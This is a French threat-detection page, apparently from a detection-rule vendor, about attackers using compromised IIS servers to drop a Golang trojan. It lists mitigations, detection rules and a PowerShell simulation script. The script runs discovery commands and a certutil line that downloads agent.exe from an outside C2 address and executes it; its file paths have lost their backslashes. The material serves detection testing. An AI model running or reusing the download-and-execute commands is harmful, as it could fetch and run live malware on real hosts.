Essai, Erreur et Fautes de Frappe : Pourquoi Certaines Attaques de Malware Ne Sont Pas Aussi ‘Sophistiquées’ Que Vous le Pensez
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’article décrit trois incidents distincts où un acteur de la menace a exploité des serveurs web IIS compromis pour télécharger et exécuter un cheval de Troie basé sur Golang (agent.exe) sur les points d’extrémité des victimes. Les attaquants ont tenté à plusieurs reprises l’exécution, utilisé certutil pour récupérer des charges utiles, et ont ensuite ajouté des exclusions de Windows Defender avant d’essayer d’établir la persistance via un service Windows. La détection a été réalisée grâce aux journaux EDR et Sysmon, qui ont capturé les lignes de commande, les arbres de processus et l’activité réseau. Les attaques illustrent comment les adversaires s’adaptent aux obstacles défensifs au lieu de suivre un plan sans faille.
Enquête
Les analystes de Huntress ont examiné les journaux des événements Windows, les événements Sysmon et les journaux des serveurs web IIS pour reconstituer la chaîne de l’attaque. Ils ont identifié l’exécution initiale de la web‑shell via w3wp.exe, observé les commandes malformées, les tentatives répétées de livraison de charges utiles et la création d’un service nommé WindowsUpdate qui n’a pas réussi à démarrer. Plusieurs indicateurs tels que les chemins des fichiers, les lignes de commande et les connexions réseau ont été collectés et corrélés entre les trois incidents.
Atténuation
Les principales mesures d’atténuation comprennent le renforcement des serveurs IIS, la restriction de l’exécution des web‑shells, l’application stricte de listes d’applications autorisées, la surveillance de l’utilisation anormale des LOLBins tels que certutil et PowerShell, et l’assurance que les exclusions de Windows Defender ne sont pas créées arbitrairement. L’isolement rapide des hôtes compromis et la suppression des outils déposés comme GotoHTTP sont également recommandés.
Réponse
Lors de la détection, les intervenants devraient isoler le point d’extrémité affecté, collecter les journaux complets des arbres de processus et du réseau, supprimer tout binaire malveillant, annuler les exclusions non autorisées de Windows Defender et vérifier les échecs de création de service. Effectuer un examen approfondi du serveur web pour les pages compromises et renouveler toutes les identifiants compromis.
Flux d’attaque
Détections
Attribuer l’exécution à Masquer les fichiers (via cmdline)
Voir
Exécutable suspect contenant uniquement des chiffres dans le nom (via cmdline)
Voir
Modifications suspectes des préférences de Windows Defender (via PowerShell)
Voir
Utilisation de Certutil pour le codage des données et les opérations de certificat (via cmdline)
Voir
Fichiers suspects dans le profil utilisateur public (via file_event)
Voir
Exécution suspecte depuis le profil utilisateur public (via process_creation)
Voir
IOC (SourceIP) pour détecter : Essai, Erreur et Fautes de frappe : Pourquoi certaines attaques de malware ne sont pas aussi ‘sophistiquées’ que vous le pensez
Voir
IOC (HashSha256) pour détecter : Essai, Erreur et Fautes de frappe : Pourquoi certaines attaques de malware ne sont pas aussi ‘sophistiquées’ que vous le pensez
Voir
IOC (DestinationIP) pour détecter : Essai, Erreur et Fautes de frappe : Pourquoi certaines attaques de malware ne sont pas aussi ‘sophistiquées’ que vous le pensez
Voir
Détection de requêtes POST malveillantes sur le serveur web [Webserver]
Voir
Détecter l’exécution de ligne de commande depuis le processus du serveur web [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : Le contrôle préalable de télémétrie et de base de référence doit être réussi.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif de l’attaque & Commandes :
Un attaquant qui a déjà obtenu l’exécution de code sur un serveur IIS compromis exploite lew3wp.exeprocessus (le travailleur IIS) pour exécuter une série de proxys binaires signés. D’abord, ils énumèrent l’état du système et du réseau (whoami.exe,netstat -an,ipconfig /all). Ensuite, ils utilisentcertutil.exepour télécharger une charge utile malveillante (agent.exe) depuis un serveur C2 à distance et l’exécuter immédiatement dans le répertoire utilisateur public. Toutes les commandes sont émises viacmd.exe /clancé sous le contexte dew3wp.exe, veillant à ce que l’événement de création de processus corresponde aux conditions de la règle.# 1. Énumérer les informations système/utilisateur Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Télécharger et exécuter la charge utile malveillante via certutil $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Script de test de régression : Le script ci-dessous automatise toute la chaîne d’attaque, reproduisant la télémétrie exacte qui devrait déclencher la règle Sigma.
<# .SYNOPSIS Simule une activité d’adversaire qui déclenche la règle Sigma "Detect Command Line Execution from Web Server Process". .DESCRIPTION Exécute une série de commandes de découverte et de téléchargement et exécution depuis le processus de travailler IIS (w3wp.exe). S’exécute sur un hôte Windows où l’audit de création de processus (ID d'événement 4688) est activé. #> # Fonction pour invoquer une commande via w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invoquer via w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Commandes de découverte (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Téléchargement et exécution malveillant (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Commandes de nettoyage : Supprimer la charge utile téléchargée et terminer tous les processus errants.
# Supprimer le binaire agent malveillant Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Arrêter optionnellement l'agent s'il est toujours en cours d'exécution Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force